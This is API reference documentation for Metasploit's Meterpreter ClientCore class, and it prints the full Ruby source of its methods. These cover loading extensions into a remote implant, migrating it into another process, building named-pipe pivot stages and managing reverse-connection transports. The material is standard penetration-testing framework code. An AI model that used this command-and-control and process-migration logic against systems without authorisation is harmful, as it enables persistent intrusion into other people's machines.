Class: Rex::Post::Meterpreter::ClientCore

Inherits:
Extension
  • Object
show all
Includes:
Rex::Payloads::Meterpreter::UriChecksum
Defined in:
lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Constant Summary collapse

METERPRETER_TRANSPORT_TCP =
0
METERPRETER_TRANSPORT_HTTP =
1
METERPRETER_TRANSPORT_HTTPS =
2
VALID_TRANSPORTS =
{
    'reverse_tcp'   => METERPRETER_TRANSPORT_TCP,
    'reverse_http'  => METERPRETER_TRANSPORT_HTTP,
    'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
    'bind_tcp'      => METERPRETER_TRANSPORT_TCP
}

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Attribute Summary

Attributes inherited from Extension

#client, #name

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the ‘core’ portion of the meterpreter client commands.



49
50
51
# File 'lib/rex/post/meterpreter/client_core.rb', line 49

def initialize(client)
  super(client, 'core')
end

Class Method Details

.extension_idObject



42
43
44
# File 'lib/rex/post/meterpreter/client_core.rb', line 42

def self.extension_id
  EXTENSION_ID_CORE
end

Instance Method Details

#create_named_pipe_pivot(opts) ⇒ Object

create a named pipe pivot



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# File 'lib/rex/post/meterpreter/client_core.rb', line 62

def create_named_pipe_pivot(opts)
  request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD)
  request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])


  c = Class.new(::Msf::Payload)
  c.include(::Msf::Payload::Stager)
  c.include(::Msf::Payload::TransportConfig)

  # Include the appropriate reflective dll injection module for the target process architecture...
  # Used to generate a reflective DLL when migrating. This is yet another
  # argument for moving the meterpreter client into the Msf namespace.
  if opts[:arch] == ARCH_X86
    c.include(::Msf::Payload::Windows::MeterpreterLoader)
  elsif opts[:arch] == ARCH_X64
    c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
  end

  stage_opts = {
    force_write_handle: true,
    datastore: {
      'PIPEHOST' => opts[:pipe_host],
      'PIPENAME' => opts[:pipe_name]
    }
  }

  stager = c.new()

  stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
  stage = stager.stage_payload(stage_opts)

  request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)

  self.client.send_request(request)
end

#disable_ssl_hash_verifyObject

Disable the SSL certificate has verificate



569
570
571
572
573
574
575
576
577
578
579
# File 'lib/rex/post/meterpreter/client_core.rb', line 569

def disable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)

  # send an empty request to disable it
  client.send_request(request)

  return true
end

#enable_ssl_hash_verifyObject

Enable the SSL certificate has verificate



552
553
554
555
556
557
558
559
560
561
562
563
564
# File 'lib/rex/post/meterpreter/client_core.rb', line 552

def enable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)

  hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
  request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)

  client.send_request(request)

  return hash
end

#get_loaded_extension_commands(extension) ⇒ Array<Integer>

Get a list of loaded commands for the given extension.

Parameters:

  • extension (String, Integer)

    Either the extension name or the extension ID to load the commands for.

Returns:

  • (Array<Integer>)

    An array of command IDs that are supported by the specified extension.



104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# File 'lib/rex/post/meterpreter/client_core.rb', line 104

def get_loaded_extension_commands(extension)
  request = Packet.create_request(COMMAND_ID_CORE_ENUMEXTCMD)

  # handle 'core' as a special case since it's not a typical extension
  extension = EXTENSION_ID_CORE if extension == 'core'
  extension = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(extension) unless extension.is_a? Integer
  request.add_tlv(TLV_TYPE_UINT,   extension)
  request.add_tlv(TLV_TYPE_LENGTH, COMMAND_ID_RANGE)

  begin
    response = self.client.send_packet_wait_response(request, self.client.response_timeout)
  rescue
    # In the case where orphaned shells call back with OLD copies of the meterpreter
    # binaries, we end up with a case where this fails. So here we just return the
    # empty list of supported commands.
    return []
  end

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
  elsif response.result != 0
    # This case happens when the target doesn't support the core_enumextcmd message.
    # If this is the case, then we just want to ignore the error and return an empty
    # list. This will force the caller to load any required modules.
    return []
  end

  commands = []
  response.each(TLV_TYPE_UINT) { |c|
    commands << c.value
  }

  commands
end

#get_session_guid(timeout = nil) ⇒ Object

Get the session GUID from the target session.



430
431
432
433
434
435
436
437
438
439
# File 'lib/rex/post/meterpreter/client_core.rb', line 430

def get_session_guid(timeout=nil)
  request = Packet.create_request(COMMAND_ID_CORE_GET_SESSION_GUID)

  args = [request]
  args << timeout if timeout

  response = client.send_request(*args)

  response.get_tlv_value(TLV_TYPE_SESSION_GUID)
end

#get_ssl_hash_verifyObject

Attempt to get the SSL hash being used for verificaton (if any).

Returns:

  • 20-byte sha1 hash currently being used for verification.



586
587
588
589
590
591
592
593
594
# File 'lib/rex/post/meterpreter/client_core.rb', line 586

def get_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH)
  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
end

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

LibraryFileImage Binary object containing the library to be loaded (can be used instead of LibraryFilePath)

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension



224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
# File 'lib/rex/post/meterpreter/client_core.rb', line 224

def load_library(opts)
  library_path = opts['LibraryFilePath']
  library_image = opts['LibraryFileImage']
  target_path  = opts['TargetFilePath']
  load_flags   = LOAD_LIBRARY_FLAG_LOCAL

  # No library path, no cookie.
  if library_path.nil? && library_image.nil?
    raise ArgumentError, 'No library file path or image was supplied', caller
  end

  # Set up the proper loading flags
  if opts['UploadLibrary']
    load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
  end
  if opts['SaveToDisk']
    load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
  end
  if opts['Extension']
    load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
  end

  # Create a request packet
  request = Packet.create_request(COMMAND_ID_CORE_LOADLIB)

  # If we must upload the library, do so now
  if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
    if library_image.nil?
      # Caller did not provide the image, load it from the path
      library_image = ''

      ::File.open(library_path, 'rb') { |f|
        library_image = f.read
      }
    end

    if library_image
      decrypted_library_image = ::MetasploitPayloads::Crypto.decrypt(ciphertext: library_image)
      request.add_tlv(TLV_TYPE_DATA, decrypted_library_image, false, client.capabilities[:zlib])
    else
      raise RuntimeError, "Failed to serialize library #{library_path}.", caller
    end

    # If it's an extension we're dealing with, rename the library
    # path of the local and target so that it gets loaded with a random
    # name
    if opts['Extension']
      if client.binary_suffix and client.binary_suffix.size > 1
        /(.*)\.(.*)/.match(library_path)
        suffix = $2
      elsif client.binary_suffix.size == 1
        suffix = client.binary_suffix[0]
      else
        suffix = client.binary_suffix
      end

      library_path = "ext#{rand(1000000)}.#{suffix}"
      target_path  = "/tmp/#{library_path}"
    end
  end

  # Add the base TLVs
  request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
  request.add_tlv(TLV_TYPE_FLAGS, load_flags)

  if !target_path.nil?
    request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
  end

  # Transmit the request and wait the default timeout seconds for a response
  response = self.client.send_packet_wait_response(request, self.client.response_timeout)

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_loadlib request.', caller
  elsif response.result != 0
    raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
  end

  commands = []
  response.each(TLV_TYPE_UINT) { |c|
    commands << c.value
  }

  commands
end

#machine_id(timeout = nil) ⇒ Object

Get the machine ID from the target session.



444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
# File 'lib/rex/post/meterpreter/client_core.rb', line 444

def machine_id(timeout=nil)
  request = Packet.create_request(COMMAND_ID_CORE_MACHINE_ID)

  args = [request]
  args << timeout if timeout

  response = client.send_request(*args)

  mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)

  # Normalise the format of the incoming machine id so that it's consistent
  # regardless of case and leading/trailing spaces. This means that the
  # individual meterpreters don't have to care.

  # Note that the machine ID may be blank or nil and that is OK
  Rex::Text.md5(mid.to_s.downcase.strip)
end

#migrate(target_pid, writable_dir = nil, opts = {}) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.



600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
# File 'lib/rex/post/meterpreter/client_core.rb', line 600

def migrate(target_pid, writable_dir = nil, opts = {})
  keepalive              = client.send_keepalives
  client.send_keepalives = false
  target_process         = nil
  current_process        = nil

  # Load in the stdapi extension if not already present so we can determine the target pid architecture...
  client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')

  current_pid = client.sys.process.getpid

  # Find the current and target process instances
  client.sys.process.processes.each { | p |
    if p['pid'] == target_pid
      target_process = p
    elsif p['pid'] == current_pid
      current_process = p
    end
  }

  # We cant migrate into a process that does not exist.
  unless target_process
    raise RuntimeError, 'Cannot migrate into non existent process', caller
  end

  # We cannot migrate into a process that we are unable to open
  # On linux, arch is empty even if we can access the process
  if client.platform == 'windows'

    if target_process['arch'] == nil || target_process['arch'].empty?
      raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
    end
  end

  # And we also cannot migrate into our own current process...
  if current_process['pid'] == target_process['pid']
    raise RuntimeError, 'Cannot migrate into current process', caller
  end

  migrate_stub = generate_migrate_stub(target_process)
  migrate_payload = generate_migrate_payload(target_process)

  # Build the migration request
  request = Packet.create_request(COMMAND_ID_CORE_MIGRATE)

  request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
  request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
  request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])

  if target_process['arch'] == ARCH_X64
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64

  else
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
  end

  # if we change architecture, we need to change UUID as well
  if current_process['arch'] != target_process['arch']
    client.payload_uuid.arch = target_process['arch']
    request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw )
  end

  # Send the migration request. Timeout can be specified by the caller, or set to a min
  # of 60 seconds.
  timeout = [(opts[:timeout] || 0), 60].max
  client.send_request(request, timeout)

  # Post-migration the session doesn't have encryption any more.
  # Set the TLV key to nil to make sure that the old key isn't used
  # at all.
  client.tlv_enc_key = nil

  if client.passive_service
    # Sleep for 5 seconds to allow the full handoff, this prevents
    # the original process from stealing our loadlib requests
    ::IO.select(nil, nil, nil, 5.0)
  elsif client.pivot_session.nil?
    # Prevent new commands from being sent while we finish migrating
    client.comm_mutex.synchronize do
      # Disable the socket request monitor
      client.monitor_stop

      ###
      # Now communicating with the new process
      ###

      # only renegotiate SSL if the session had support for it in the
      # first place!
      if client.supports_ssl?
        # If renegotiation takes longer than a minute, it's a pretty
        # good bet that migration failed and the remote side is hung.
        # Since we have the comm_mutex here, we *must* release it to
        # keep from hanging the packet dispatcher thread, which results
        # in blocking the entire process.
        begin
          Timeout.timeout(timeout) do
            # Renegotiate SSL over this socket
            client.swap_sock_ssl_to_plain()
            client.swap_sock_plain_to_ssl()
          end
        rescue ::Timeout::Error
          client.alive = false
          return false
        end
      end

      # Restart the socket monitor
      client.monitor_socket
    end
  end

  # Renegotiate TLV encryption on the migrated session
  secure

  # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
  client.ext.aliases.keys.each { |e|
    client.core.use(e)
  }

  # Restore session keep-alives
  client.send_keepalives = keepalive

  return true
end

#native_arch(timeout = nil) ⇒ Object

Get the current native arch from the target session.



465
466
467
468
469
470
471
472
473
474
475
# File 'lib/rex/post/meterpreter/client_core.rb', line 465

def native_arch(timeout=nil)
  # Not all meterpreter implementations support this
  request = Packet.create_request(COMMAND_ID_CORE_NATIVE_ARCH)

  args = [ request ]
  args << timeout if timeout

  response = client.send_request(*args)

  response.get_tlv_value(TLV_TYPE_STRING)
end

#negotiate_tlv_encryption(timeout: client.comm_timeout) ⇒ Object

Negotiates the use of encryption at the TLV level



759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
# File 'lib/rex/post/meterpreter/client_core.rb', line 759

def negotiate_tlv_encryption(timeout: client.comm_timeout)
  sym_key = nil
  is_weak_key = nil
  rsa_key = OpenSSL::PKey::RSA.new(2048)
  rsa_pub_key = rsa_key.public_key

  request = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)
  request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)

  begin
    response = client.send_request(request, timeout)
    key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
    key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)
    key_length = { Packet::ENC_FLAG_AES128 => 16, Packet::ENC_FLAG_AES256 => 32 }[key_type]
    if key_enc
      key_dec_data = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
      if !key_dec_data
        raise Rex::Post::Meterpreter::RequestError
      end
      sym_key = key_dec_data[0..key_length - 1]
      is_weak_key = false
      if key_dec_data.length > key_length
        key_dec_data = key_dec_data[key_length...]
        if key_dec_data.length > 0
          key_strength = key_dec_data[0]
          is_weak_key = key_strength != "\x00"
        end
      end
    else
      sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
    end
  rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
    # 1) OpenSSL error may be due to padding issues (or something else)
    # 2) Request error probably means the request isn't supported, so fallback to plain
  end

  {
    key:  sym_key,
    type: key_type,
    weak_key?: is_weak_key
  }
end

#secureObject



725
726
727
# File 'lib/rex/post/meterpreter/client_core.rb', line 725

def secure
  client.tlv_enc_key = negotiate_tlv_encryption
end

#set_session_guid(guid) ⇒ Object

Set the session GUID on the target session.



418
419
420
421
422
423
424
425
# File 'lib/rex/post/meterpreter/client_core.rb', line 418

def set_session_guid(guid)
  request = Packet.create_request(COMMAND_ID_CORE_SET_SESSION_GUID)
  request.add_tlv(TLV_TYPE_SESSION_GUID, guid)

  client.send_request(request)

  true
end

#set_transport_timeouts(opts = {}) ⇒ Object

Set associated transport timeouts for the currently active transport.



170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# File 'lib/rex/post/meterpreter/client_core.rb', line 170

def set_transport_timeouts(opts={})
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS)

  if opts[:session_exp]
    request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
  end
  if opts[:comm_timeout]
    request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
  end
  if opts[:retry_total]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
  end
  if opts[:retry_wait]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
  end

  response = client.send_request(request)

  {
    :session_exp  => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
    :retry_total  => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
    :retry_wait   => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
  }
end

#set_uuid(uuid) ⇒ Object

Set the UUID on the target session.



406
407
408
409
410
411
412
413
# File 'lib/rex/post/meterpreter/client_core.rb', line 406

def set_uuid(uuid)
  request = Packet.create_request(COMMAND_ID_CORE_SET_UUID)
  request.add_tlv(TLV_TYPE_UUID, uuid.to_raw)

  client.send_request(request)

  true
end

#shutdownObject

Shuts the session down



732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
# File 'lib/rex/post/meterpreter/client_core.rb', line 732

def shutdown
  request  = Packet.create_request(COMMAND_ID_CORE_SHUTDOWN)

  if client.passive_service
    # If this is a HTTP/HTTPS session we need to wait a few seconds
    # otherwise the session may not receive the command before we
    # kill the handler. This could be improved by the server side
    # sending a reply to shutdown first.
    self.client.send_packet_wait_response(request, 10)
  else
    # If this is a standard TCP session, send and forget.
    self.client.send_packet(request)
  end
  true
end

#transport_add(opts = {}) ⇒ Object

Add a transport to the session based on the provided options.



493
494
495
496
497
498
499
500
501
# File 'lib/rex/post/meterpreter/client_core.rb', line 493

def transport_add(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_ADD, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_change(opts = {}) ⇒ Object

Change the currently active transport on the session.



506
507
508
509
510
511
512
513
514
# File 'lib/rex/post/meterpreter/client_core.rb', line 506

def transport_change(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_CHANGE, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_listObject



140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# File 'lib/rex/post/meterpreter/client_core.rb', line 140

def transport_list
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_LIST)
  response = client.send_request(request)

  result = {
    :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :transports  => []
  }

  response.each(TLV_TYPE_TRANS_GROUP) { |t|
    result[:transports] << {
      :url            => t.get_tlv_value(TLV_TYPE_TRANS_URL),
      :comm_timeout   => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
      :retry_total    => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
      :retry_wait     => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
      :ua             => t.get_tlv_value(TLV_TYPE_TRANS_UA),
      :proxy_host     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
      :proxy_user     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
      :proxy_pass     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
      :cert_hash      => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
      :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
    }
  }

  result
end

#transport_nextObject

Change the active transport to the next one in the transport list.



534
535
536
537
538
# File 'lib/rex/post/meterpreter/client_core.rb', line 534

def transport_next
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_NEXT)
  client.send_request(request)
  return true
end

#transport_prevObject

Change the active transport to the previous one in the transport list.



543
544
545
546
547
# File 'lib/rex/post/meterpreter/client_core.rb', line 543

def transport_prev
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_PREV)
  client.send_request(request)
  return true
end

#transport_remove(opts = {}) ⇒ Object

Remove a transport from the session based on the provided options.



480
481
482
483
484
485
486
487
488
# File 'lib/rex/post/meterpreter/client_core.rb', line 480

def transport_remove(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_REMOVE, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_sleep(seconds) ⇒ Object

Sleep the current session for the given number of seconds.



519
520
521
522
523
524
525
526
527
528
529
# File 'lib/rex/post/meterpreter/client_core.rb', line 519

def transport_sleep(seconds)
  return false if seconds == 0

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SLEEP)

  # we're reusing the comms timeout setting here instead of
  # creating a whole new TLV value
  request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
  client.send_request(request)
  return true
end

#use(mod, opts = { }) ⇒ true

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers.

Parameters:

  • mod (String)

    The extension that should be loaded.

  • opts (Hash) (defaults to: { })

    The options with which to load the extension.

Options Hash (opts):

  • LoadFromDisk (String)

    Indicates that the library should be loaded from disk, not from memory on the remote machine.

Returns:

  • (true)

    This always returns true or raises an exception.

Raises:

  • (RuntimeError)

    An exception is raised if the extension could not be loaded.



324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
# File 'lib/rex/post/meterpreter/client_core.rb', line 324

def use(mod, opts = { })
  if mod.nil?
    raise RuntimeError, "No modules were specified", caller
  end

  modnameprovided = mod
  suffix = nil
  if not client.binary_suffix
    suffix = ''
  elsif client.binary_suffix.size > 1
    client.binary_suffix.each { |s|
      if (mod =~ /(.*)\.#{s}/ )
        mod = $1
        suffix = s
        break
      end
    }
  else
    suffix = client.binary_suffix.first
  end

  # Query the remote instance to see if commands for the extension are
  # already loaded
  commands = get_loaded_extension_commands(mod.downcase)

  # if there are existing commands for the given extension, then we can use
  # what's already there
  unless commands.length > 0
    image = nil
    path = nil
    # If client.sys isn't setup, it's a Windows meterpreter
    if client.respond_to?(:sys) && !client.sys.config.sysinfo['BuildTuple'].blank?
      # Query the payload gem directly for the extension image
      begin
        image = MetasploitPayloads::Mettle.load_extension(client.sys.config.sysinfo['BuildTuple'], mod.downcase, suffix)
      rescue MetasploitPayloads::Mettle::NotFoundError => e
        elog(e)
        image = nil
      end
    else
      # Get us to the installation root and then into data/meterpreter, where
      # the file is expected to be
      modname = "ext_server_#{mod.downcase}"
      begin
        path = MetasploitPayloads.meterpreter_path(modname, suffix, debug: client.debug_build)
      rescue ::StandardError => e
        elog(e)
        path = nil
      end

      if opts['ExtensionPath']
        path = ::File.expand_path(opts['ExtensionPath'])
      end
    end

    if path.nil? and image.nil?
      error = Rex::Post::Meterpreter::ExtensionLoadError.new(name: mod.downcase)
      if Rex::Post::Meterpreter::ExtensionMapper.get_extension_names.include?(mod.downcase)
        raise error, "The \"#{mod.downcase}\" extension is not supported by this Meterpreter type (#{client.session_type})", caller
      else
        raise error, "No module of the name #{modnameprovided} found", caller
      end
    end

    # Load the extension DLL
    commands = load_library(
        'LibraryFilePath'  => path,
        'LibraryFileImage' => image,
        'UploadLibrary'    => true,
        'Extension'        => true,
        'SaveToDisk'       => opts['LoadFromDisk'])
  end

  # wire the commands into the client
  client.add_extension(mod, commands)

  return true
end

#valid_transport?(transport) ⇒ Boolean

Indicates if the given transport is a valid transport option.

Returns:

  • (Boolean)


751
752
753
754
# File 'lib/rex/post/meterpreter/client_core.rb', line 751

def valid_transport?(transport)
  return false if transport.nil?
  VALID_TRANSPORTS.has_key?(transport.downcase)
end